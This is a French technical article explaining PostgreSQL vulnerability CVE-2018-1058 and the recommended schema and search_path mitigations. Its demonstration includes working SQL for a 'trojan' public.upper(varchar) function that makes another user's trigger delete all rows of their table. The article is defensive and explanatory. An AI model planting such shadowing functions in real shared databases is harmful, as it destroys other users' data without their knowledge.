Introduction

Une mise à jour de toutes les versions de PostgreSQL est sortie le 1er mars, motivée principalement par le CVE-2018-1058. Cette vulnérabilité ne correspond pas à un bug particulier dans le code, auquel cas on pourrait passer à autre chose dès nos instances mises à jour, mais à un problème plus général dans la gestion du schéma par défaut public où tout utilisateur peut écrire.

Concrètement un risque est présent dans les installations où des utilisateurs d’une même base ne se font pas confiance alors que le schéma public est utilisé avec ses droits par défaut et le search_path par défaut.

Le "core team" de PostgreSQL a dû estimer ce risque suffisant pour justifier d'une part des mesures de mitigation immédiates, et d'autre part une réflexion sur des changements plus étendus dans les prochaines versions. Dans l'immédiat, c'est surtout les outils pg_dump et pg_restore qui ont été modifiés (cf commit 3d2aed664), ainsi que la documentation (cf commit 5770172cb).

De quel risque s'agit-il exactement? Voyons un exemple d'abus du schéma public par un utilisateur malveillant au détriment d'un autre. A noter que les correctifs sortis dans les versions actuelles ne changent rien à cet exemple.

Exemple d'exploitation de la "faille"

Supposons deux utilisateurs d'une même base, au hasard, Alice et Bob. Chacun a une table, A et B, et peut lire celle de l'autre, mais pas y écrire.

Voici les ordres de création, passés dans le schéma public. Le fait que le champ nom soit de type varchar et non text est essentiel pour que la vulnérabilité soit exploitable, on verra pourquoi un peu plus bas.

Par Alice:

CREATE TABLE A(
   id serial,
   nom varchar(60),
   date_insert timestamptz default now()
);
GRANT SELECT ON A to bob;

Par Bob:

CREATE TABLE B(
   id serial,
   nom varchar(60),
   date_insert timestamptz default now()
);
GRANT SELECT ON B TO alice;

Un trigger se charge de mettre le nom entré en majuscules:

CREATE OR FUNCTION maj() RETURNS TRIGGER AS
'BEGIN
  NEW.nom := upper(NEW.nom);
  RETURN NEW;
END' LANGUAGE plpgsql;

CREATE TRIGGER tA BEFORE INSERT OR UPDATE ON A FOR EACH ROW EXECUTE PROCEDURE maj();
CREATE TRIGGER tB BEFORE INSERT OR UPDATE ON B FOR EACH ROW EXECUTE PROCEDURE maj();

En fonctionnement normal, Alice ajoute une entrée avec:

alice@test=> INSERT INTO A(nom) values('Nom du client');

et Bob a le droit de lire par exemple la dernière entrée d'Alice, via

bob@test=> SELECT * FROM A ORDER BY id DESC LIMIT 1;

Si Alice essaie d'effacer de l'autre table, le serveur refuse:

alice@test=> DELETE FROM b;
ERROR:  permission denied for table b

Jusque là tout est basique et normal.

Mais si Alice crée cette fonction upper() dans le schéma public:

CREATE FUNCTION upper(varchar) RETURNS varchar AS
  'delete from B; select pg_catalog.upper($1);'
LANGUAGE SQL;

lorsque l'utilisateur bob insèrera ou modifiera une ligne, l'appel dans la trigger upper(NEW.nom) trouvera la fonction d'Alice public.upper(varchar) et la prendra en priorité par rapport à pg_catalog.upper(text). Cette fonction "cheval de Troie" et son delete from b seront donc exécutés dans le contexte de la session de Bob et toutes les lignes pré-existantes de B se retrouveront effacées. Pwned!

Les deux axes de la résolution de nom de fonction

Si la colonne était de type text, c'est la fonction pg_catalog.upper(text) qui serait appelée au lieu de la fonction malveillante, parce que d'une part pg_catalog est inséré implicitement en tête de search_path, et que d'autre part la doc sur les conversions de type dans les appels de fonctions nous dit que

"If the search path finds multiple functions of identical argument types, only the one appearing earliest in the path is considered"

Mais comme varchar n'est pas text, c'est une partie différente de l'algorithme de résolution de nom de fonction qui s'active, celle qui va chercher le meilleur appariement entre les types de la déclaration de fonction et les types effectivement passés à l'appel. Dans notre cas, la règle suivante fait que pg_catalog n'est plus dominant:

Functions of different argument types are considered on an equal footing regardless of search path position

et c'est cette règle-ci qui domine:

Check for a function accepting exactly the input argument types. If one exists (there can be only one exact match in the set of functions considered), use it.

parce que la fonction d'Alice prend exactement un argument varchar alors que le upper(text) du système de base prend, comme sa signature l'indique, du type text.

En résumé, la faille utilise le fait que l'axe "conformité des types passés au types déclarés" est privilégié par rapport à l'axe du search_path. On peut présumer que cette règle ne pas être changée sans causer des problèmes de compatibilité plus dangereux que le problème lui-même, c'est pourquoi les développeurs n'ont pas choisi cette solution.

Les solutions

La solution préconisée est connue depuis que les schémas existent (version 7.3 sortie en 2002), et les modifications récentes à la documentation ne font, me semble-t-il, qu'insister dessus et la diffuser dans plusieurs chapitres. Dans notre scénario, un DBA devrait certainement faire:

REVOKE CREATE ON SCHEMA public FROM public;
CREATE SCHEMA alice AUTHORIZATION alice;
CREATE SCHEMA bob AUTHORIZATION bob;

voire éventuellement:

ALTER USER alice SET search_path="$user";
ALTER USER bob SET search_path="$user";

voire même:

DROP SCHEMA public;

Le problème est que ces mesures ne conviennent pas forcément à tout le monde, et ne pas avoir du tout le schéma public risquerait d'être fort perturbant pour beaucoup de programmes et utilisateurs existants.

Dans les versions déjà sorties et "corrigées" jusqu'à la 10, le schéma public garde ses propriétés, mais il n'est pas dit qu'il n'y aura pas de changement majeur à ce sujet dans la 11 ou la suivante (la version 11 étant déjà quasi-gelée pour de nouveaux patchs). Le fait que les développeurs aient choisi de considérer tout ça comme une vraie faille plutôt que de rejeter le problème sur l'utilisateur laisse à penser qu'ils ne laisseront pas le sujet en l'état.